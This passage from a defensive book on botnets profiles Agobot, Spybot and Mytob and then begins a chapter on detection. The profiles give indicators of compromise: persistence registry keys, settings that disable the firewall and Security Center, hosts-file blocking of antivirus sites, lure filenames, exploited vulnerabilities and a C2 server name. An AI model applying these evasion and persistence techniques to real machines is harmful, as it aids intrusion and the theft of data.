3410)\n■\nNetDevil Trojan (TCP port 903)\n■\nKuang Trojan (TCP port 17300)\n■\nSubSeven Trojan (TCP port 27347)\nAgobot\nAgobot, also commonly referred to as Gaobot or Phatbot, depending on the\nvariant and the AV vendor naming it, introduced the idea of modular func-\ntionality to the world of malicious bots. Rather than infecting a system with\nall the Agobot functionality at once, this threat occurs in three distinct stages.\nFirst,Agobot infects the computer with the bot client and opens a back-\ndoor to allow the attacker to communicate with and control the machine.\nThe second phase attempts to shut down processes associated with antivirus\nand security programs, and the final phase tries to block access from the\ninfected computer to a variety of antivirus and security-related Web sites.\nwww.syngress.com\nCommon Botnets • Chapter 4\n111\n" }, { "page_number": 130, "text": "The modular approach makes sense from a design perspective because it\nallows the developer to update or modify one portion, or module, without\nhaving to rewrite or recompile the entire bot code.\nAliases\nAntivirus and security vendors rarely agree on naming conventions, so the\nsame threat can have multiple names, depending on which vendor is sup-\nplying the information. Here are some aliases for Agobot from the top\nantivirus vendors:\n■\nMcAfee: W32/Gaobot.worm\n■\nSymantec: W32.HLLW.Gaobot.gen\n■\nTrend Micro: Worm_Agobot.Gen\n■\nKaspersky: Backdoor.Agobot.gen\n■\nCA: Win32/Agobot Family\n■\nSophos: W32/Agobot-Fam\nNotes from the Underground…\nNaming Confusion\nAnother major bot family is the Polybot family. There is a great deal of\nconfusion when it comes to malware naming, however. One vendor\nmight decide to call a threat one thing, and a different vendor might\ngive it a completely different name. The other issue when it comes to\nbots is that many of the bots are offshoots or evolutions of each other,\nblurring the lines and sometimes making it difficult to choose whether\na new variant is part of the original or part of the new offshoot strain\nof malware. \nPolybot is an example of such a threat. Polybot is essentially\nAgobot but with a polymorphic technique thrown in. Polybot adds an\n“envelope” to the Agobot code that reencrypts the whole file each\ntime it runs, essentially providing each new infection a unique signa-\nture to evade detection by antivirus or intrusion detection products.\nwww.syngress.com\n112\nChapter 4 • Common Botnets\n" }, { "page_number": 131, "text": "Infection\nThe Agobot family of malware propagates via network shares, as is common\namong the major bot families. However,Agobot also adds the ability to propa-\ngate using peer-to-peer (P2P) networking systems such as Kazaa, Grokster,\nBearShare, and others.Agobot makes itself available on the P2P network using\na randomized filename that is designed to have mass appeal in an attempt to\nlure unsuspecting users into downloading and executing it on their computers.\nThe offshoot variants dubbed Phatbot use WASTE, a P2P protocol\ndesigned by AOL. WASTE was designed to use encryption for more secure\nfile transfers via P2P, but the sharing of public keys was too complicated and\nAOL eventually scrapped the project. Using WASTE creates some unique\nmethods of propagation but also limits the scalability of the bot army because\nWASTE can only manage 50 to 100 client nodes at a time.\nIt seeks to terminate a wide variety of antivirus and security programs on\ninfected systems and attempts to modify the Hosts file on the infected com-\nputer, to prevent the ability to communicate with Web sites associated with\nantivirus and security applications.Agobot singles out the Bagle worm, termi-\nnating processes associated with that malware if they exist on the infected\nsystem.\nSigns of Compromise\nIf you believe that your computer is infected with Agobot, there are a few\nclues you can look for to verify your suspicions.\nSystem Folder\nAgobot will drop a copy of itself into the %System% folder (typically\nC:\\Windows\\System32) on the target system.The filename used depends on\nthe variant, but common filenames Agobot uses include syschk.exe,\nsvchost.exe, sysmgr.exe, and sysldr32.exe.\nRegistry Entries\nTo ensure that the bot functionality is operational,Agobot creates registry\nentries to automatically start the bot each time Windows starts. Some variants\nadd a value called Config Loader and others add a value called Svhost Loader to\nwww.syngress.com\nCommon Botnets • Chapter 4\n113\n" }, { "page_number": 132, "text": "the HKEY_Local_Machine\\Software\\Microsoft\\Windows\\\nCurrentVersion\\Run key in the registry.\nAgobot will sometimes add a registry entry aimed at the Windows 95,\nWindows 98, or Windows ME operating systems. By referencing the dropped\nmalicious file using the HKEY_Local_Machine\\Software\\Microsoft\\\nWindows\\CurrentVersion\\RunServices registry key, the bot software will\nexecute, but the service will not be displayed on the Close Program dialog\nbox, making it effectively invisible to the user.\nTerminated Processes\nAgobot contains arguably the most comprehensive listing of programs and\nservices to target for termination.Agobot seeks out processes associated with\nantivirus or other security software, as well as processes associated with com-\npeting malware, and shuts them down.\nModify Hosts File\nAbove and beyond terminating the processes associated with antivirus and\nsecurity software, variants of Agobot also modify the hosts file of the infected\nmachine to redirect attempts to reach the Web sites of antivirus and security\nvendors.\nThe Hosts file, typically found at %System%\\drivers\\etc\\hosts, is\nappended with entries for Web sites such as Symantec’s LiveUpdate site or\nMcAfee’s download site, among others.The entries direct any attempts to\nconnect with these sites to the loopback address, 127.0.0.1, preventing the\nconnection and blocking the machine from communicating with those sites.\nTheft of Information\nAnother aspect of Agobot that sets it apart from some of the other major bot\nfamilies is the theft of information. Specifically,Agobot will seek out and steal\nthe CD keys for a variety of popular games (see Table 4.7).\nwww.syngress.com\n114\nChapter 4 • Common Botnets\n" }, { "page_number": 133, "text": "Table 4.7 Games Vulnerable to Agobot Searches \nBattlefield 1942\nIndustry Giant 2\nBattlefield 1942: \nJames Bond 007 Nightfire\nSecret Weapons Of WWII\nBattlefield 1942: \nMedal of Honor: Allied Assault\nThe Road To Rome\nBattlefield 1942: Vietnam\nMedal of Honor: Allied Assault:\nBreakthrough\nBlack and White\nMedal of Honor: Allied Assault:\nSpearhead\nCall of Duty\nNascar Racing 2002\nCommand and Conquer: Generals Nascar Racing 2003\nCommand and Conquer: Generals: Need For Speed: Hot Pursuit 2\nZero Hour\nCommand and Conquer: \nNeed For Speed: Underground\nRed Alert2\nCommand and Conquer: \nNeverwinter Nights\nTiberian Sun\nCounter-Strike\nNHL 2002\nFIFA 2002\nNHL 2003\nFIFA 2003\nRavenshield\nFreedom Force\nShogun: Total War: Warlord Edition\nGlobal Operations\nSoldier of Fortune II - Double Helix\nGunman Chronicles\nSoldiers Of Anarchy\nHalf-Life\nThe Gladiators\nHidden and Dangerous 2\nUnreal Tournament 2003\nIGI2: Covert Strike\nUnreal Tournament 2004\nSource:Trend Micro Inc. (www.trendmicro.com/vinfo/virusencyclo/\ndefault5.asp?VName=WORM%5FAGOBOT%2EGEN&VSect=T)\nUnexpected Traffic\nLike other bot families,Agobot variants also open a backdoor on the infected\nsystem and establish communication with a designated IRC server.This allows a\nbotherder to issue commands to or take control of the compromised system.\nwww.syngress.com\nCommon Botnets • Chapter 4\n115\n" }, { "page_number": 134, "text": "The backdoor provides functionality for the botherder to do just about\nanything, including executing files on the infected machine, downloading\nadditional files from Web or FTP sites, redirecting TCP traffic to the system,\nusing the compromised system as a part of a DDoS attack, and more.\nVulnerability Scanning\nAgobot variants can also spread via a variety of exploitable vulnerabilities.\nAside from the common vulnerabilities in Microsoft Windows and SQL\nServer, which are exploited by many bot families,Agobot variants also target\nwell-known vulnerabilities in CPanel and DameWare.\nPropagation\nLike other bot families,Agobot variants attempt to spread via open network\nshares. Once a system is infected,Agobot will seek out usernames and pass-\nwords on the network using NetBEUI. It will then search for open shares\nsuch as the default administrative shares (c$, admin$, print$, etc.) and attempt\nto log in using the usernames and passwords it has found as well as a precon-\nfigured list of common usernames and passwords.\nAgobot also attempts to spread malware via P2P networks by making itself\navailable on those networks using enticing filenames designed to draw atten-\ntion and increase the odds that the file will be downloaded and executed. It\nuses a predefined list of options (see Table 4.8) to randomly create filenames\nthat could be of interest to users. For example,Agobot will take a random\nentry from Set A in Table 4.8 and combine it with a variable entry from Set\nB to create a filename.\nTable 4.8 File Names Agobot Uses to Spread Malware via P2P\nSet A\nSet B (%s = )\n%s - ADSL Playfix\nAlessandra Ambrosia\n%s - Autotuning (for Newbies)\nAmanda Peet\n%s - Cable Modem Playfix\nAnna Kournikova\n%s - CD Key Generator\nAshley Judd\n%s - Character Cheat\nBelinda Chapple\n%s - Crack all versions\nBritney Spears\nwww.syngress.com\n116\nChapter 4 • Common Botnets\nContinued\n" }, { "page_number": 135, "text": "Table 4.8 continued File Names Agobot Uses to Spread Malware via P2P\nSet A\nSet B (%s = )\n%s - Game Trainer\nCameron Diaz\n%s - Idem Duplicator\nCarmen Electra\n%s - Internet Play Fix\nChandra North\n%s - Item Hack\nCharlize Theron\n%s - Map Hack\nChristina Aguilera\n%s - Multiplayer Cheat\nDonna D’Erico\n%s - Newest Patch\nEmma Sjoberg\n%s - NOCD Patch\nGillian Anderson\n%s - Tweaking utility\nHalle Berry\n%s - Unlimited Healt Trainer\nHelena Christensen\n%s - Unlock Everything Trainer\nJessica Alba\n%s 3D Setup\nJolene Blalock\n%s newest version crack\nKarina Lombard\nKate Moss\nKatie Price\nKelly Hu\nKirsten Dunst\nKylie Bax\nKylie Minogue\nLexa Doig\nMichelle Behennah\nPamela Anderson\nSalma Hayek\nSamantha Mumba\nSandra Bullock\nShakira\nStacey Keibler\nSource:Trend Micro Inc. (www.trendmicro.com/vinfo/virusencyclo/\ndefault5.asp?VName=WORM%5FAGOBOT%2EGEN&VSect=T)\nwww.syngress.com\nCommon Botnets • Chapter 4\n117\n" }, { "page_number": 136, "text": "Spybot\nSpybot is an evolution of SDBot. Like SDBot, the Spybot code is open source\nand available for the public to modify and contribute to, to help develop fur-\nther functionality for the product.\nThe main differentiator for Spybot from SDBot is that Spybot adds a\nnumber of spyware-like capabilities such as keystroke logging, e-mail address\nharvesting, Web-surfing activities, and more.\nAliases\nAgain, antivirus and security vendors rarely agree on naming conventions, so\nthe same threat can have multiple names, depending on which vendor is sup-\nplying the information. Here are some aliases for Spybot from the top\nantivirus vendors:\n■\nMcAfee: W32/Spybot.worm.gen\n■\nSymantec: W32.Spybot.Worm\n■\nTrend Micro: Worm_Spybot.gen\n■\nKaspersky: Worm.P2P.SpyBot.Gen\n■\nCA: Win32.Spybot.gen\n■\nSophos: W32/Spybot-Fam\nInfection\nSpybot spreads through a variety of methods, including the standard attempt\nto propagate by finding open network shares with weak or nonexistent secu-\nrity. Spybot also spreads via some P2P networks and seeks out systems com-\npromised by other worms or malware to leverage existing backdoors or open\nports to infect systems.\nSpybot contains the standard bot functionality of providing a backdoor for\na botherder to command and control the infected machine, but it also adds\nsome unique new features, such as the ability to broadcast Spam over Instant\nMessaging (SPIM). It also attempts to modify the registry to prevent various\nfunctions such as blocking the user from installing Windows XP SP2 or dis-\nabling the Windows XP Security Center.\nwww.syngress.com\n118\nChapter 4 • Common Botnets\n" }, { "page_number": 137, "text": "Signs of Compromise\nIf you believe that your computer could be infected with Spybot, there are a\nfew clues you can look for to verify your suspicions.\nSystem Folder\nSpybot will place a copy of itself in the %System% folder (typically\nC:\\Windows\\System32). Common filenames used by Spybot include:\n■\nBling.exe\n■\nNetwmon.exe\n■\nWuamgrd.exe\nRegistry Entries\nDepending on the variant, Spybot could make a broad range of potential reg-\nistry entries.The following are some examples of common registry modifica-\ntions found with Spybot variants.\nSpybot could add a value to create a shared folder on the Kazaa P2P net-\nwork, such as:\n■\nValue:“dir0” = “012345:[CONFIGURABLE PATH]”\n■\nRegistry Key: HKEY_CURRENT_USER\\SOFTWARE\\\nKAZAA\\LocalContent\nSpybot adds an entry to ensure tha it is started automatically when\nWindows starts, such as:\n■\nValue:This varies, but it will be something like “Microsoft Update” =\n“wuamgrd.exe”.\n■\nRegistry keys: Entry made to one or more of the following:\nHKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\\nCurrentVersion\\Run\nHKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\\nCurrentVersion\\RunOnce\nwww.syngress.com\nCommon Botnets • Chapter 4\n119\n" }, { "page_number": 138, "text": "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\\nCurrentVersion\\RunServices\nHKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\\nCurrentVersion\\Shell Extensions\nHKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\\nCurrentVersion\\Run\nHKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\\nCurrentVersion\\RunServices\nHKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\\nCurrentVersion\\RunOnce\nHKEY_CURRENT_USER\\Software\\Microsoft\\OLE\nSpybot may modify the following registry key to enable or disable\nDCOM:\n■\nValue: “EnableDCOM” = “Y” (or “N”)\n■\nRegistry key: HKEY_LOCAL_MACHINE\\SOFTWARE\\\nMicrosoft\\OLE\nSpybot may modify the following registry key to restrict network access:\n■\nValue:“restrictanonymous” = “1”\n■\nHKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\\nControl\\Lsa\nSpybot may modify the following registry key to disable specific services:\n■\nValue: “Start” = “4”\n■\nRegistry keys:\nHKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\\nServices\\SharedAccess\nHKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\\nServices\\wscsvc\nHKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\\nServices\\TlntSvr\nwww.syngress.com\n120\nChapter 4 • Common Botnets\n" }, { "page_number": 139, "text": "HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\\nServices\\RemoteRegistry\nHKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\\nServices\\Messenger\nSpybot may modify the following registry key to prevent Windows XP\nSP2 from being installed:\n■\nValue: “DoNotAllowXPSP2” = “1”\n■\nRegistry key: HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\\nMicrosoft\\Windows\\WindowsUpdate\nSpybot may modify the following registry key to disable the Microsoft\nSecurity Center:\n■\nValue:\n“UpdatesDisableNotify” = “1”\n“AntiVirusDisableNotify” = “1”\n“FirewallDisableNotify” = “1”\n“AntiVirusOverride” = “1”\n“FirewallOverride” = “1”\n■\nRegistry key: HKEY_LOCAL_MACHINE\\SOFTWARE\\\nMicrosoft\\Security Center\nSpybot may modify the following registry key(s) to disable the Windows\nFirewall:\n■\nValue:“EnableFirewall” = “0”\n■\nRegistry key:\nHKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Win\ndowsFirewall\\DomainProfile\nHKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Win\ndowsFirewall\\StandardProfile\nwww.syngress.com\nCommon Botnets • Chapter 4\n121\n" }, { "page_number": 140, "text": "Unexpected Traffic\nSpybot will connect to a designated IRC server, specified by the Spybot\nvariant, and join an IRC channel to receive commands from a botherder.\nSome variants will also start a local HTTP, FTP, or TFTP server. Scans of the\ncomputer that show unusual services or unknown ports open could be evi-\ndence of these types of connections.\nKeystroke Logging and Data Capture\nAn added feature of Spybot is the ability to capture keystrokes and retrieve\npersonal information that can be used for further system compromise or\nidentity theft. Variants of Spybot will scan the infected computer for cached\npasswords and will log the keystrokes typed on the computer to try to get\ninformation such as usernames, passwords, credit card or bank account num-\nbers, and more. The keystroke logging specifically targets windows with titles\nthat include bank, login, e-bay, ebay, or paypal.\nPropagation\nSpybot propagates through the same standard means as other bot families.\nLocating open or poorly secured network shares and leveraging them to\nspread and compromise other systems is a primary method of propagation.\nSpybot comes preconfigured with a list of commonly used usernames and\npasswords for general purposes as well as passwords designated specifically for\nSQL Server account logins.\nIn addition to network shares, Spybot also seeks out and targets systems\nthat are vulnerable to specific vulnerabilities (see Table 4.9). Spybot will do\nvulnerability scans of the computers it can communicate with and find sys-\ntems that can be exploited using these known vulnerabilities.\nTable 4.9 Vulnerabilities Exploited by Spybot Variants to Help It Propagate \nVulnerability\nPort(s)\nMicrosoft Security Bulletin\nDCOM RPC vulnerability\nTCP 135\nMS03-026\nLSASS vulnerability\nTCP ports 135, \nMS04-011\n139, 445\nwww.syngress.com\n122\nChapter 4 • Common Botnets\nContinued\n" }, { "page_number": 141, "text": "Table 4.9 continued Vulnerabilities Exploited by Spybot Variants to Help\nIt Propagate \nVulnerability\nPort(s)\nMicrosoft Security Bulletin\nSQL Server and MSDE 2000 \nUDP 1434\nMS02-061\nvulnerabilities\nWebDav vulnerability\nTCP 80\nMS03-007\nUPnP NOTIFY buffer \nMS01-059\noverflow vulnerability\nWorkstation Service buffer \nTCP 445\nMS03-049\noverrun vulnerability\nMicrosoft Windows SSL \nMS04-011\nLibrary DoS vulnerability\nMicrosoft Windows Plug \nMS05-039\nand Play buffer overflow \nvulnerability\nMicrosoft Windows Server \nMS056-040\nService remote buffer \noverflow vulnerability\nSource: Symantec Corp. (www.symantec.com/security_response/\nwriteup.jsp?docid=2003-053013-5943-99&tabid=2)\nMytob\nThe Mytob family of worms is an example of the converging world of mal-\nware.The originators of Mytob took a mass-mailing worm and combined it\nwith bot functionality based on the SDBot family.The hybrid combination\nresults in faster propagation and more compromised systems lying dormant,\nwaiting for a botherder to give them direction.\nAliases\nAntivirus and security vendors rarely agree on naming conventions, so the\nsame threat can have multiple names, depending on which vendor is sup-\nplying the information. Here are some aliases for Mytob from the top\nantivirus vendors:\nwww.syngress.com\nCommon Botnets • Chapter 4\n123\n" }, { "page_number": 142, "text": "■\nMcAfee: W32/Mytob.gen@MM\n■\nSymantec: W32.Mytob@mm\n■\nTrend Micro: Worm_Mytob.gen\n■\nKaspersky: Net-Worm.Win32.Mytob.Gen\n■\nCA: Win32.Mytob Family\n■\nSophos: W32/Mytob-Fam\nNOTE\nAt the beginning of 2005, the authors of the Mytob worm entered into\na malware war against the Sober worm. Each malware attempted to\noutdo the other, sometimes disabling or removing the opposing worm\nin the process of infecting a system. The malware war kept antivirus\nvendors and corporate administrators on their toes because the escala-\ntion sometimes resulted in many new variants of each on a given day.\nInfection\nMytob arrives on the target system via e-mail with some sort of file attach-\nment.The purpose of the e-mail is to trick or lure the user into opening and\nexecuting the file attachment, thereby installing the worm on the user’s\nsystem and continuing the cycle of infection and propagation.\nSigns of Compromise\nIf you believe that your computer could be infected with Mytob, there are a\nfew clues you can look for to verify your suspicions.\nSystem Folder\nWhen a system becomes infected with the Mytob worm, a copy of the mal-\nware is placed in the %System% directory (typically C:\\Windows\\System32)\nnamed wfdmgr.exe.\nwww.syngress.com\n124\nChapter 4 • Common Botnets\n" }, { "page_number": 143, "text": "Registry Entries\nMytob alters one or more of the following registry keys to ensure that it is\nstarted each time Windows starts:\n■\nHKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\\nCurrentVersion\\Run “LSA” = wfdmgr.exe \n■\nHKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\\nCurrentVersion\\Run “LSA” = wfdmgr.exe \n■\nHKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\\nWindows\\CurrentVersion\\\nRunServices “LSA” = wfdmgr.exe \n■\nAdditional keys/values are created, which are typically associated with\nW32/Sdbot.worm:\n■\nHKEY_CURRENT_USER\\SYSTEM\\CurrentControlSet\\\nControl\\Lsa “LSA” = wfdmgr.exe \n■\nHKEY_CURRENT_USER\\Software\\Microsoft\\OLE\n“LSA” = wfdmgr.exe \nUnexpected Traffic\nMytob is a mass-mailing worm first and foremost. However, it earned a spot\nin this book by virtue of being a very successful piece of malware that also\nincludes bot functionality from the SDBot family.An infected system will\nattempt to connect to irc.blackcarder.net and join a specific IRC channel for\nfurther instructions.\nPropagation\nMytob spreads almost exclusively via e-mail. Once a system is infected,\nMytob will scan the system for files with file extensions like those shown in\nTable 4.10 from which to harvest e-mail addresses The worm tries to fly\nunder the radar and remain undetected, though. So, the domains listed in\nTable 4.11 are eliminated from the harvested e-mail addresses before Mytob\nstarts generating the spam e-mail messages to try to propagate itself.\nwww.syngress.com\nCommon Botnets • Chapter 4\n125\n" }, { "page_number": 144, "text": "WARNING\nMytob sends itself out using its own SMTP engine, but it attempts to\nguess the recipient mail server to make the malware e-mail more con-\nvincing. Mytob will try to use any of the following with the target\ndomain name to guess the right mail server: mx, mail, smtp, mx1, mxs,\nmail1, relay, or ns.\nTable 4.10 File Extensions Known to Be Commonly Targeted by Mytob for\nHarvesting E-mail Addresses\nwab\nphp\nadb\nsht\ntbb\nhtm\ndbx\ntxt\nasp\npl\nSource: McAfee, Inc. (http://us.mcafee.com/virusInfo/default.asp?id=descrip-\ntion&virus_k=132158&affid=108)\nTable 4.11 Mytob Eliminates Harvested E-mail Addresses with the\nFollowing Domains \n.gov\ngov.\nmydomai\n.mil\nhotmail\nnodomai\nabuse\niana\npanda\nacketst\nibm.com\npgp\narin.\nicrosof\nrfc-ed\navp\nietf\nripe.\nberkeley\ninpris\nruslis\nborlan\nisc.o\nsecur\nbsd\nisi.e\nsendmail\nexample\nkernel\nsopho\nfido\nlinux\nsyma\nwww.syngress.com\n126\nChapter 4 • Common Botnets\nContinued\n" }, { "page_number": 145, "text": "Table 4.11 continued Mytob Eliminates Harvested E-mail Addresses with\nthe Following Domains \nfoo.\nmath\ntanford.e\nfsf.\nmit.e\nunix\ngnu\nmozilla\nusenet\ngoogle\nmsn.\nutgers.ed\nSource: McAfee, Inc. (http://us.mcafee.com/virusInfo/default.asp?id=\ndescription&virus_k=132158&affid=108)\nwww.syngress.com\nCommon Botnets • Chapter 4\n127\n" }, { "page_number": 146, "text": "Summary\nBots are a serious threat to Internet and computer network security. Viruses\nand worms have certainly wreaked havoc on the Internet, and phishing\nattacks and spyware are both growing threats to computer security as well, but\nbots are unique among malware in their ability to provide tens or hundreds of\nthousands of compromised systems lying dormant and waiting to be used as\nan army for all kinds of malicious activities.\nIn this chapter we learned about some of the major bot families—specifi-\ncally, SDBot, RBot,Agobot, Spybot, and Mytob.These bots have been around\nfor as many as five years, and new variants based on the core of the original\nbot code are still created. Some of these bot families have hundreds and hun-\ndreds of variants.\nWe discussed how almost all the bot families share one propagation\nmethod. Seeking out unprotected or poorly secured network shares to attack\nis a common means shared by virtually every bot family. We also covered ways\ndifferent bot families have introduced different unique aspects that set them\napart. For example, RBot introduced the use of compression algorithms to\nencrypt the bot code.Agobot pioneered the use of P2P networks as a propa-\ngation method. Spybot added spyware functionality such as keystroke logging,\nand the Mytob worm combined a bot (SDBot) with a mass-mailing worm,\nmarking a shift in malware code to hybrid attacks that combine different\ntypes of malware.\nThe bots discussed in this chapter are by no means all the bot threats out\nthere. Malware has shifted from “carpet-bombing style” viruses and worms,\nintended to spread the fastest and gain infamy for the malware author, to pre-\ncision stealth attacks aimed at financial gain. Some worms, such as those in\nthe Mytob family, still gain attention by spreading quickly. But the true goal is\nto create as many compromised bot systems as possible that will lie dormant\nand wait for orders from a botherder to initiate some sort of malicious\nactivity.\nwww.syngress.com\n128\nChapter 4 • Common Botnets\n" }, { "page_number": 147, "text": "Solutions Fast Track\nEach of the bot families discussed in this chapter provides a fairly significant\namount of information.This section boils the information down to the most\npertinent or relevant points that you should keep in mind about each bot\nfamily.\nSDBot\n\u0002 One of the oldest bot families. It has existed for more than five years.\n\u0002 Released by the author as open source, providing the source code for\nthe malware to the general public.\n\u0002 Spreads primarily via network shares. It seeks out unprotected shares\nor shares that use common usernames or weak passwords.\n\u0002 Modifies the Windows registry to ensure that it is started each time\nWindows starts.\nRBot\n\u0002 Originated in 2003.\n\u0002 Uses one or more runtime executable packing utilities such as\nMorphine, UPX,ASPack, PESpin, EZIP, PEShield, PECompact, FSG,\nEXEStealth, PEX, MoleBox, or Petite to encrypt the bot code.\n\u0002 Terminates the processes of many antivirus and security products to\nensure it remains undetected.\nAgobot\n\u0002 Capable of spreading via peer-to-peer (P2P) networks.\n\u0002 Modifies the Hosts file to block access to certain antivirus and\nsecurity firm Web sites.\n\u0002 Steals the CD keys from a preconfigured group of popular games.\nwww.syngress.com\nCommon Botnets • Chapter 4\n129\n" }, { "page_number": 148, "text": "\u0002 Uses predefined groups of keywords to create filenames designed to\nentice P2P downloaders.\nSpybot\n\u0002 Core functionality is based on the SDBot family.\n\u0002 Incorporates aspects of spyware, including keystroke logging and\npassword stealing.\n\u0002 Spreads via insecure or poorly secured network shares and by\nexploiting known vulnerabilities common on Microsoft systems.\nMytob\n\u0002 Mytob is actually a mass-mailing worm, not a bot, but it infects target\nsystems with SDBot.\n\u0002 A hybrid attack that provides a faster means of spreading and\ncompromising systems to create bot armies.\n\u0002 Harvests e-mail addresses from designated file types on the infected\nsystem.\n\u0002 Eliminates addresses with certain domains to avoid alerting antivirus\nor security firms to its existence.\nwww.syngress.com\n130\nChapter 4 • Common Botnets\n" }, { "page_number": 149, "text": "Q: What is one of the most common methods bots use to spread and infect\nnew systems?\nA: All the major bot families target insecure or poorly secured network\nshares.Typically, the bot contains a list of common usernames and pass-\nwords to attempt, as well as some capability to seek out usernames and\npasswords found on the target system.\nQ: How do bots typically ensure that they continue running?\nA: Bots generally modify the Windows registry to add values to registry keys\nto make sure that the bot software is automatically started each time\nWindows starts.\nQ: What unique method of propagation was introduced by the Agobot\nfamily?\nA: The Agobot family of bots (also known as Gaobot or Phatbot) uses P2P\nnetworking as a unique method of spreading to new systems.\nQ: Which bot family pioneered the use of encryption algorithms to protect\nthe code from being reverse-engineered or analyzed?\nA: The RBot family uses one or more runtime executable packing utilities\nsuch as Morphine, UPX,ASPack, PESpin, EZIP, PEShield, PECompact,\nFSG, EXEStealth, PEX, MoleBox, or Petite to encrypt the bot code.\nQ: What is unique about the Spybot family of bots?\nA: Spybot is based on SDBot but adds spyware capabilities such as keystroke\nlogging and data theft or password stealing.\nwww.syngress.com\nCommon Botnets • Chapter 4\n131\nFrequently Asked Questions\nThe following Frequently Asked Questions, answered by the authors of this\nbook, are designed to both measure your understanding of the concepts pre-\nsented in this chapter and to assist you with real-life implementation of these\nconcepts. To have your questions about this chapter answered by the author,\nbrowse to www.syngress.com/solutions and click on the “Ask the Author”\nform. \n" }, { "page_number": 150, "text": "Q: What sets Mytob apart among the bot families discussed in this chapter?\nA: Mytob is not a bot in and of itself. It is a mass-mailing worm that includes\nSDBot as part of its payload, providing a hybrid attack that can compro-\nmise more systems with the bot software faster.\nQ: What is a common method bot families use to avoid detection or\nremoval?\nA: Many bots, and even viruses, worms, and other malware, search for and\nterminate processes associated with common antivirus or security applica-\ntions to shut them down.\nQ: How do some bots ensure that infected systems are not able to research\ninformation or obtain updates from antivirus vendors?\nA: Some bots modify the Hosts file on the compromised system to redirect\nrequests for antivirus and other security-related Web sites to the loopback\naddress of 127.0.0.1, blocking attempts to reach those sites.\nQ: Which bot family creates entries in the Windows registry to prevent users\nfrom installing Windows XP Service Pack 2?\nA: The Spybot family adds registry entries to block the installation of\nWindows XP SP2, as well as registry entries to disable the Windows\nFirewall and the Windows Security Center.\nwww.syngress.com\n132\nChapter 4 • Common Botnets\n" }, { "page_number": 151, "text": "Botnet \nDetection: Tools \nand Techniques\nSolutions in this chapter:\n■\nAbuse\n■\nNetwork Infrastructure: Tools and\nTechniques\n■\nIntrusion Detection\n■\nDarknets, Honeypots, and Other Snares\n■\nForensics Techniques and Tools for Botnet\nDetection\nChapter 5\n133\n\u0002 Summary\n\u0002 Solutions Fast Track\n\u0002 Frequently Asked Questions\n" }, { "page_number": 152, "text": "Introduction\nIn this chapter we look at tools and techniques commonly used for botnet\ndetection. By definition, this is a big subject, and we only touch lightly on\nsome ideas and tools. For example, the popular open-source Snort intrusion\ndetection system is mentioned, but Snort is a very complex package, and we\ncan’t do it justice in a few pages. In addition to skimming over some tools, we\nmention a few techniques that are commonly used either to prevent malware\nsuch as botnets in the first place or help in detection, prevention, or post-\nattack cleanup.\nFirst we’ll discuss abuse reporting, because it could turn out that your\nenterprise simply receives e-mail to tell you that you seem to have a botnet\nclient on your premises. (Of course, it’s better if you are proactive and try to\ncontrol your network in the first place.) Then we will talk about common\nnetwork-monitoring tools, including sniffers, and other network monitoring\ntools as well as confinement techniques, including firewalls and broadcast\ndomain management. We will touch on common intrusion detection systems,\nincluding virus checkers and the Snort IDS system. We also mention the role\ndarknets, honeypots, and honeynets have to play. Last we touch on host foren-\nsics. One thread through all this discussion to which we should draw your\nattention is the important part that logging and log analysis play at both the\nnetwork and host levels. For example, firewall, router, and host logs (including\nserver logs) could all show attacks. We cannot do the subject of log analysis\njustice, but we can and will at least give a few pointers on how to use them.\nAbuse \nOne possible way to learn about botnets in your enterprise is if someone sends\nyou e-mail to tell you about it.We typically refer to this as abuse e-mail. The\nbasic idea is that someone out there on the Internet has decided to complain\nabout something they think is wrong related to your site.This might include\nspam (from botnet clients), scanning activity (botnet clients at work), DoS\nattacks, phishing, harassment, or other forms of perceived “abuse.”The conven-\ntion is that you have administrative contacts of some form listed at global\nregional information registry sites such as ARIN,APNIC, LAPNIC, or RIPE\nwww.syngress.com\n134\nChapter 5 • Botnet Detection: Tools and Techniques\n" }, { "page_number": 153, "text": "(see www.arin.net/community/index.html).The person sending the complaint\ndetermines an IP address and sends e-mail to complain about the malefactors,\nmentioning the IP address in the domain. In general, you should send that e-\nmail to abuse@somedomain, if that handle exists in the WHOIS information\ndatabase.You want to use more general contacts than particular names simply\nbecause particular names might be wrong or those people on vacation, and\nmore general names (admin, noc, abuse) might go to more people (such as\nsomeone who is awake).We will return to this subject later in the chapter.\nIn the meantime, assume that your network is 192.168.0.0/16.Also\nassume you are an abuse admin (or the head network person) at Enormous\nState University and you have this particularly lovely e-mail waiting for you\nin your in-basket one morning:\nSubject: 192.168.249.146 is listed as exploited.lsass.org\nFrom: Nancy Netadmin \nTo: abuse@enormoussu.edu\nCc: abuse@bigisp.net\nContent-Type: text/plain\nX-Virus-Scaned: by amavisd-new\nESU Abuse:\nIt was recently brought to our attention that exploited.lsass.org has an\nA record pointing to 192.168.249.146. Please note that we sent an email\non January 16, 2005 at 00:27 regarding this same host and its botnet\nactivity. We have yet to receive a response to that message.\nPlease investigate ASAP and follow up to abuse@bigisp.net. Thank you.\n$ dig exploited.lsass.org\n; <<>> DiG 9.2.3 <<>> exploited.lsass.org\n;; global options: printcmd\n;; Got answer:\n;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 46001\n;; flags: qr rd ra; QUERY: 1, ANSWER: 3, AUTHORITY: 2, ADDITIONAL: 1\nwww.syngress.com\nBotnet Detection: Tools and Techniques • Chapter 5\n135\n" }, { "page_number": 154, "text": ";; QUESTION 